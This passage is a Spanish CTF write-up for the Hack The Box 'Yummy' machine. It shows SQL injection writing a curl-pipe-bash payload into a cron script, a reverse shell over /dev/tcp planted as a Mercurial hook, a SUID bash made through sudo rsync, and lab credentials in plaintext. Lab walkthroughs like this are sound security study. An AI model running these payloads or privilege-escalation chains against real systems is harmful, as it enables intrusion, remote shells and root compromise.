sqlmap -u 'http://yummy.htb/admindashboard?o=' --cookie="X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjN2aWxzZWNAaHRiLmNvbSIsInJvbGUiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzQ0OTcwMzUxLCJleHAiOjE3NDQ5NzM5NTEsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiMTIxOTQ4MDQxMDU1NzEwODk5MTM5MTg5MjY3NDM2OTUzNTU4MDM4Nzc5NjI2NzU0NTY1Mjk2NjI1MTg5ODMyMzQ2NTI3ODM1MTY1Mzg0Njk4MDc1OTE2Mjc2ODkzNTI2MDM2NDE3NzQ3MTAxMDA2NDE4NzUyODc1NTQ0NTMxNDYxMDcxMDUyNTA4MTk5NjExNDU5NjAzNzY1NzQwNTQ2ODI4NjA3NjcxOTcwMjUxNjcxMTIwNTYyOTI5OTUyMTM4NTIyNzA5ODY4NTI5Njc5NTE0Njg4NTcwOTMzOTczMTkwODEzMDQ1NzM2NzY0NTY2NjY5MzQ5ODgzOTI1Mzc3MzI4Mjg5MDQ1NDU1ODQyMTE2Mzc4NDk1NjE3MzM0NjA5MDgwMDY4NzQ4OTQ3NTM2NjQxMzM3ODI4NTA3IiwiZSI6NjU1Mzd9fQ.AgG3exS-tRiNy69rDkUh8Mpy3_VotpVC1PvpoMfMBCKz8l15GTaBOU28X9AtSbllbIqkqM6vQA2QQdoprbKh-3hEpZgMt0rW0-lZ4u2z9FqZMYXE2sTQoCJtNxlh7n7bPsbyWpWniGFckwK8GfwcvQezLjSWkjVnZuo8sxH1PQFVHNM" --file-write="dbstatus.json" --file-dest="/data/scripts/dbstatus.json" --batch

y finalmente despues de 1 minuto:

algo interesante, es que podemos hacer el mismo procedimiento sin sqlmap pero con burpsuite con:

http://yummy.htb/admindashboard/o?=some;SELECT "curl 10.10.10.10/3vilsec.sh|bash" INTO OUTFILE "/data/scripts/fixer-v999999";SELECT "active" INTO OUTFILE "/data/scripts/dbstatus.json";-- -

porque este comando igualmente esta alcanzando a escribir en los archivos del sistema, y en parte puede ser mas silecioso que sqlmap

luego dentro de la maquina, intentente el tratamiento clasico de la tty pero se corrompia la terminal (en 3 ocasiones asi que decidí continuar con esta pseudo terminal)

bueno, veo que no puedo ir por la flag de usuario, asi que debemos hacer movimiento lateral hacia otro usuario

enumerando y viendo un poco las carpetas encontré que en /data/scripts (donde estaba el dbmonito.sh) ademas de que alli se almacenan los archivos que habiamos manipulado.

Shell como www-data

volviendo a las tareas cron, podemos confirmar que www-data esta ejecutando app_backup.sh cada minuto que es el mismo que esta en el directorio y aunque no podemos modificar el archivo directamente, podemos mover el existente y crear uno con el mismo nombre dado que los permisos del directorio nos lo permite:

mysql@yummy:/data/scripts$ ls -la
ls -la
total 32
drwxrwxrwx 2 root root 4096 Apr 18 12:05 .
drwxr-xr-x 3 root root 4096 Sep 30  2024 ..
-rw-r--r-- 1 root root   90 Sep 26  2024 app_backup.sh
-rw-r--r-- 1 root root 1336 Sep 26  2024 dbmonitor.sh
-rw-r----- 1 root root   60 Apr 18 12:05 fixer-v1.0.1.sh
-rw-r--r-- 1 root root 5570 Sep 26  2024 sqlappointments.sql
-rw-r--r-- 1 root root  114 Sep 26  2024 table_cleanup.sh

al cambiar el nombre del archivo, note que se creaba uno nuevo a los minutos, entonces lo que hice fue en mi maquina kali tener un archivo con una reverse shell y levantar un servidor python, y ejecutar desde la maquina comprometida el comando:

mv app_backup.sh bad_backup.sh | curl 10.10.10.10/app_backup.sh -O app_backup.sh

por supuesto, estaba escuchando con netcat en mi maquina y:

somos www-data

vemos que nuestro home es /root/ pero al intentar enumerar no nos deja, algo bastante raro (porque no deberia ser el home del usuario) puede ser por la revshell.

cuando llega la alerta de mail dice que esta en: /var/mail/www-data

asi vamos alla, y comienzo a enumerar un poco, veo que hay un directorio con el nombre de uno de los usuarios que tiene un home valido en /home qa

si entramos y enumeramos:

parece incluso mi home, me llama mucho la atención el directorio que no tenia en el backup que descargamos (.hg)

si vamos dentro, vemos que parece un directorio .git:

al investigar es una herramienta llamada Mercurial (dato: hg es el mismo símbolo del mercurio en la tabla periódica de elementos) https://www.mercurial-scm.org/

Shell como qa

esto me hace pensar que aquí pueden haber credenciales, dado que el backup no lo estaba guardando

bueno, si vemos tenemos branches:

hg branches

solo hay uno, si queremos mas info:

hg log -r 9 -v

el cambio fue echo por qa:

si lo miramos:

hg log -r 9 -p

tenemos unas credenciales jPAd!XQCtn8Oc@2B que no habíamos visto, asi que podemos intuir de quien son, voy a intentar iniciar como el usuario qa

aunque no me dejo usar el comando su y lo intente por ssh:

ssh qa@10.10.10.10
p: jPAd!XQCtn8Oc@2B

y ahora si tenemos nuestra flag de usuario

mirando que comando puedo ejecutar con sudo -l:

tenemos a mercurial de nuevo por aquí, aunque ahora nos dice que tenemos la capacidad de meter contenido nuevo a la aplicacion que se encuentra en /home/dev/app-producttion/

Shell como dev

esto me dice que posiblemente debemos intentar otra ejecución de un comando oculto o inyectar un comando a la hora de hacer el pull y conseguir que sea ejecutado como dev (dado que no tenemos acceso directo a /home/dev)

pasando este comando a nuestro llm fav, me da una pista que habla sobre que mercurial puede ejecutar hooks definidos en .hg/hgrc y cuando realizamos un hg pull podemos inyectar codigo malicioso

vamos a irnos a tmp:

cd /tmp/
mkdir exp && chmod 777 exp
cd exp && mkdir .hg && chmod 777 .hg

asegurandonos de que todo fuera siempre accesible

teniendo esto cree un comando malicioso para redirigir la ejecución del nuevo hook que vamos a inyectar:

echo 'sh -i >& /dev/tcp/10.10.14.193/9999 0>&1' > /tmp/3vil.sh
chmod 777 /tmp/3vil.sh
debe ser sh porque bash da problemas

ahora crearemos el hook malicioso:

echo -e "[hooks]\npre-pull.3vilsec = /tmp/3vil.sh" > /tmp/exp/.hg/hgrc

en nuestra maquina debemos tener un oyente nc:

nc -lnvp 443

finalmente ejecutamos:

sudo -u dev /usr/bin/hg pull /home/dev/app-production/

xD don’t call me

bueno voy al /home de dev para comenzar a enumerar

lo primero es ver nuestros permisos de ejecucion:

sudo -l

Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

oh! ya tenemos algo interesante, tenemos capacidad de usar como sudo rsync para sincronizar archivos o directorios enteros, este comando lo hace con el parámetro -a (modo archivo: basicamente es un parámetro que resume r - l - p - t - g - o y d), en este blog encontramos mas detalles de esto: https://www.linuxtotal.com.mx/index.php?cont=rsync-manual-de-uso

en resumen, mantiene los enlaces simbólicos y los replica en el destino (en este caso /opt/app), mantiene los permisos del origen

Shell como Root

lo que quise intentar fue copiar la bash, cambiarle los permisos a suid, y luego sincronizarlo en el directorio /opt/app al que tenemos acceso y allí simplemente ejecutar la bash con el parametro de privilegios. pero algo me esta dando problemas

cuando llega el archivo a /production/ dura poco tiempo antes de ser limpiado, aunque queda tiempo suficiente para ejecutar el siguiente comando:

cp /bin/bash /home/dev/app-production/3vil
chmod u+s /home/dev/app-production/3vil

el verdadero problema viene cuando ejecutamos el comando y ejecutamos la bash, el archivo deja de existir, pero si somos rápidos podemos mirar que alcanza a crearse son los suid:

sudo rsync -a --chown root:root --exclude\=.hg /home/dev/app-production/* /opt/app/
/opt/app/3vil -p

aquí tiene que haber algún script que nos este limpiando esto antes de poder ejecutarlo (lo siento por la terminal, pero al parecer no me deja hacerle tratamiento a esta porque tambien se corrompe)

así que, he notado que puedo escribir los comando a ejecutar y pegarlos directo en la terminal para que se ejecuten en orden (como cuando copiamos y pegamos comandos de un repositorio)

pero si lo intento varias veces, tampoco me deja ejecutarlo:

pero, mirando la imagen anterior, el comando -a no esta manteniendo como propietario a root en mi bash porque viene de la carpeta dev, entonces puede que esto este dando conflictos, porque no podemos escalar privilegios con un binario sin privilegios. asi que investigando un poco, tambien podemos usar –chown para cambiarle los propietarios a todos los archivos dentro de /opt/app:

con esto funcionando ahora vamos a ejecutar todos los comandos completos:

cp /bin/bash /home/dev/app-production/3vil
chmod u+s /home/dev/app-production/3vil
sudo rsync -a --exclude\=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/3vil -p

y finalmente:

hay una extraña condición de carrera combinado con el problema de la terminal que nos dificultaba la escalada final, ahora ya podemos ir por la id_rsa de root para una conexión mas estable

Shell como Root(2)

tambien podríamos haber leído la flag de root con este método o ir por la id_rsa antes que hacer esto con el binario de bash

dado que al parecer por el asterisco, rsyn se vuelve muy laxo y deja que podamos viajar entre directorios y además inyectar comandos, le decimos que queremos que la copia del directorio root sea legible por dev y luego el comando –log-file va a despistar el sistema dado que nuestro comando debe terminar con /opt/app/, –log-file solo servirá para rellenar

sudo rsync -a --exclude\=.hg /home/dev/app-production/../../../../../root/ --chown dev:dev /tmp/backup --log-file /opt/app/

los scripts que nos complicaban la maquina:

están en /root/scritps:

el codigo encargado de limpiar y borrar la base de datos, (por eso debíamos registrarnos de nuevo en la pagina cada cierto tiempo) table_cleanup.sh:

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

este es el código encargado de eliminar las reverse shell y los scripts maliciosos que cargamos con la inyección sql: restorescript.sh

#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
cat restorescripts.sh
#!/bin/bash

MONITOR_DIR="/data/scripts/"
FILES_TO_WATCH=("dbmonitor.sh" "fixer-v1.0.1.sh" "sqlappointments.sql" "table_cleanup.sh")

# Ensure the directory exists
if [ ! -d "$MONITOR_DIR" ]; then
    /usr/bin/echo "The directory $MONITOR_DIR does not exist."
    exit 1
fi

# Monitor the directory for delete events
/usr/bin/inotifywait -m -e delete --format '%w%f %e' "$MONITOR_DIR" | while read fullpath event
do
    filename=$(/usr/bin/basename "$fullpath")
    for file in "${FILES_TO_WATCH[@]}"; do
        if [ "$filename" == "$file" ]; then
            /usr/bin/echo "The file $filename has been deleted."
            /usr/bin/cp /root/scripts/$filename /data/scripts/$filename
            /usr/bin/echo $filename restore
            break  # Exit the loop once a match is found
        fi
    done
done

este es el script que veia el app-backup.sh, que fue el que usamos para escalar privilegios de qa a dev:

haciendo monitoreo de eventos de creación para capturarlos y verificar si el valor mds5sum de ese archivo es igual al original, sino nos da los 5seg y restaura los archivos íntegros restoreappbackup.sh

#!/bin/bash

MONITOR_DIR="/data/scripts"
FILE_TO_WATCH="app_backup.sh"
ORIGINAL="5abc61fab3b59c03de515a0122424166"
# Ensure the directory exists
if [ ! -d "$MONITOR_DIR" ]; then
    /usr/bin/echo "The directory $MONITOR_DIR does not exist."
    exit 1
fi

# Monitor the directory for create and delete events
/usr/bin/inotifywait -m -e create --format '%w%f %e' "$MONITOR_DIR" | while read fullpath event
do
    filename=$(/usr/bin/basename "$fullpath")
    if [ "$filename" == "$FILE_TO_WATCH" ]; then
        case "$event" in
            CREATE)
                /usr/bin/echo "The file $filename has been created."
                CURRENT=$(/usr/bin/md5sum /data/scripts/app_backup.sh | /usr/bin/awk '{print $1}')
                /usr/bin/sleep 2
                if [[ $CURRENT != $ORIGINAL ]]; then
                    /usr/bin/su -c '/bin/bash /data/scripts/app_backup.sh' -s /bin/bash www-data &
                fi
                /usr/bin/sleep 5
                /usr/bin/cp /root/scripts/app_backup.sh /data/scripts/app_backup.sh ; /usr/bin/chmod 644 /data/scripts/app_backup.sh ; /usr/bin/chown root:root /data/scripts/app_backup.sh
                /usr/bin/echo "$filename restored."
                ;;
            *)
                # Other events, if any, can be handled here
                ;;
        esac
    fi
done

este era el que limpiaba el directorio /app-production, pero aquí no da segundos, por ende tambien nos valimos de una condición de carrera contra el sistema para ejecutar nuestra bash SUID antes de que este se ejecute: dev-app-cleanup.sh:

#!/bin/bash

# Directory to delete and restore
APP_DIR="/home/dev/app-production"
ZIP_FILE="/root/scripts/yummy-dev-app.zip"

# Delete the /home/dev/app-production directory
if [ -d "$APP_DIR" ]; then
    /usr/bin/echo "Deleting the directory $APP_DIR"
    /usr/bin/rm -rf "$APP_DIR"
else
    /usr/bin/echo "$APP_DIR does not exist."
fi

/usr/bin/mkdir "$APP_DIR"
cd "$APP_DIR"
/usr/bin/unzip -o "$ZIP_FILE"
/usr/bin/chown -R dev:dev "$APP_DIR"

aquí tambien vemos que este hace limpieza y restauración de los últimos directorios que usamos para escalar privilegios (detalle: al final del script, trata tambien los permisos y los restaura)

keep-app-integrity.sh:

#!/bin/bash

# Directory to delete and restore
APP_DIR="/home/dev/app-production"
ZIP_FILE="/root/scripts/yummy-dev-app.zip"

# Delete the /home/dev/app-production directory
if [ -d "$APP_DIR" ]; then
    /usr/bin/echo "Deleting the directory $APP_DIR"
    /usr/bin/rm -rf "$APP_DIR"
else
    /usr/bin/echo "$APP_DIR does not exist."
fi

/usr/bin/mkdir "$APP_DIR"
cd "$APP_DIR"
/usr/bin/unzip -o "$ZIP_FILE"
/usr/bin/chown -R dev:dev "$APP_DIR"
root@yummy:~/scripts# cat keep-app-integrity.sh
#!/bin/bash

# Directory to monitor
MONITOR_DIR="/opt/app"
interval=10  # sleep 10 seconds before restoration

# Ensure the directory exists
if [ ! -d "$MONITOR_DIR" ]; then
    /usr/bin/echo "The directory $MONITOR_DIR does not exist."
    exit 1
fi

# Monitor the directory for any operations (modify, create, delete)
/usr/bin/inotifywait -m -e modify,create,delete --format '%w%f %e' "$MONITOR_DIR" | while read fullpath event
do
    /usr/bin/sleep $interval
    /usr/bin/echo "Detected $event on $fullpath"
    # Removing and Restoring the webapp
    cd /opt/app/
    /usr/bin/rm -rf *
    /usr/bin/unzip -o /root/scripts/yummy-app.zip
    /usr/bin/chown -R root:root /opt/app/*
    /usr/bin/chown root:www-data /opt/app
    /usr/bin/echo "Fixed permissions"

    # Ensure the owner is set back to root
    /usr/bin/chown root:root "$file"

    /usr/bin/echo "Fixed permissions."

done


Conclusiones:

Esta maquina simula escenarios del mundo real (aunque sea un ctf), en los cuales tenemos que combinar varias vulnerabilidades encadenadas para comprometer un sistema. En la escalada de privilegios, destaca el enfoque en los permisos de comandos especiales y herrores de configuracion.


nos vemos en la siguiente maquina!

H4ck th3 W0rld